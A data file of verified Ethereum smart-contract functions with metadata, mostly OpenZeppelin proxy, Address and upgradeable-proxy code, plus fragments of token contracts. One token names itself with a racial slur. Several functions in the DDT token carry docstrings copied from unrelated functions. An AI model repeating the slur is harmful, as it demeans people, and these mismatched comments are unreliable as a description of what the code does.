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60.4k
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Proxy
abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disabl...
/** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * ...
NatSpecMultiLine
/** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1951, 2023 ] }
25,900
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Proxy
abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disabl...
/** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * ...
NatSpecMultiLine
/** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 2184, 2255 ] }
25,901
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Proxy
abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disabl...
/** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * ...
NatSpecMultiLine
_beforeFallback
function _beforeFallback() internal virtual { }
/** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 2539, 2596 ] }
25,902
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly ...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 606, 1033 ] }
25,903
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1963, 2365 ] }
25,904
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 3121, 3299 ] }
25,905
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 3524, 3724 ] }
25,906
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 4094, 4325 ] }
25,907
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disa...
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 4576, 5111 ] }
25,908
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionStaticCall
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 5291, 5495 ] }
25,909
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionStaticCall
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.stat...
/** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 5682, 6109 ] }
25,910
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionDelegateCall
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 6291, 6496 ] }
25,911
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionDelegateCall
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.deleg...
/** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 6685, 7113 ] }
25,912
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
UpgradeableProxy
contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating ...
/** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag...
NatSpecMultiLine
_implementation
function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } }
/** * @dev Returns the current implementation address. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1253, 1514 ] }
25,913
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
UpgradeableProxy
contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating ...
/** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag...
NatSpecMultiLine
_upgradeTo
function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); }
/** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1635, 1803 ] }
25,914
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
UpgradeableProxy
contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating ...
/** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storag...
NatSpecMultiLine
_setImplementation
function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImpl...
/** * @dev Stores a new address in the EIP1967 implementation slot. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1894, 2268 ] }
25,915
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
admin
function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); }
/** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] ...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 1703, 1803 ] }
25,916
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
implementation
function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); }
/** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`e...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 2269, 2405 ] }
25,917
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
changeAdmin
function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); }
/** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 2614, 2873 ] }
25,918
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
upgradeTo
function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); }
/** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 3035, 3159 ] }
25,919
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
upgradeToAndCall
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); }
/** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {Proxy...
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 3539, 3763 ] }
25,920
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
_admin
function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } }
/** * @dev Returns the current admin. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 3824, 4056 ] }
25,921
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
_setAdmin
function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } }
/** * @dev Stores a new address in the EIP1967 admin slot. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 4138, 4359 ] }
25,922
AssetProxy
AssetProxy.sol
0x4eaa01974b6594c0ee62ffd7fee56cf11e6af936
Solidity
TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, addre...
_beforeFallback
function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); }
/** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */
NatSpecMultiLine
v0.8.2+commit.661d1103
Unknown
ipfs://256d71a3bbf412c66e92f2feda363c4e126c868e314b821fa08c780ad30dde66
{ "func_code_index": [ 4480, 4692 ] }
25,923
NigerTokenICO
NigerTokenICO.sol
0xc816463eb290e47ff512c04121142d1d85a3cdc2
Solidity
NigerTokenICO
contract NigerTokenICO { function name() constant returns (string) { return "NiggerCoin"; } function symbol() constant returns (string) { return "NGR"; } function decimals() constant returns (uint8) { return 4; } uint256 public INITIAL_SUPPLY; uint256 public totalSupply; uint256 pu...
function () payable { uint256 tryAmount = div((mul(msg.value, rate)), 1 ether); //Don't let people buy more tokens than there are. if (msg.value == 0 || msg.value < 0 || balanceOf(owner) < tryAmount) { //If zero ether is sent, kill. Do nothing. revert(); } amount =...
//This function is called when Ether is sent to the contract address //Even if 0 ether is sent.
LineComment
v0.4.13+commit.fb4cb1a
bzzr://8530e9de693cf558c2f32dec9f7a36e490a11a91233ff96627fa1a8514567447
{ "func_code_index": [ 1000, 1892 ] }
25,924
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
Token
contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public ...
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved /// @return The balance
NatSpecSingleLine
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 629, 704 ] }
25,925
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
Token
contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public ...
transfer
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 941, 1016 ] }
25,926
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
Token
contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public ...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 1339, 1433 ] }
25,927
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
Token
contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public ...
approve
function approve(address _spender, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not
NatSpecSingleLine
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 1723, 1802 ] }
25,928
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
Token
contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public ...
allowance
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
/// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent
NatSpecSingleLine
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 2010, 2105 ] }
25,929
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
QCStandardToken
contract QCStandardToken is StandardToken { function () { //if ether is sent to this address, send it back. revert(); } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one...
QCStandardToken
function QCStandardToken( ) { balances[msg.sender] = 10000000000 * 1000000000000000000; // Give the creator all initial tokens totalSupply = 10000000000 * 1000000000000000000; // Update total supply name = "QCASH"; // Set the nam...
//0.1 standard. Just an arbitrary versioning scheme.
LineComment
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 921, 1478 ] }
25,930
QCStandardToken
QCStandardToken.sol
0xe74b35425fe7e33ea190b149805baf31139a8290
Solidity
QCStandardToken
contract QCStandardToken is StandardToken { function () { //if ether is sent to this address, send it back. revert(); } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually s...
/* Approves and then calls the receiving contract */
Comment
v0.4.13+commit.fb4cb1a
None
bzzr://a665da0e2b8c2142f3bae5220076bac20e28b77a948395d301d9a61754b6c81a
{ "func_code_index": [ 1539, 2347 ] }
25,931
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
Ownable
contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipient...
renounceOwnership
function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 991, 1126 ] }
25,932
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
SafeMath
library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
cre
function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * t...
Comment
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 1170, 1360 ] }
25,933
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
SafeMath
library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
cal
function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); }
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 1945, 2083 ] }
25,934
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
SafeMath
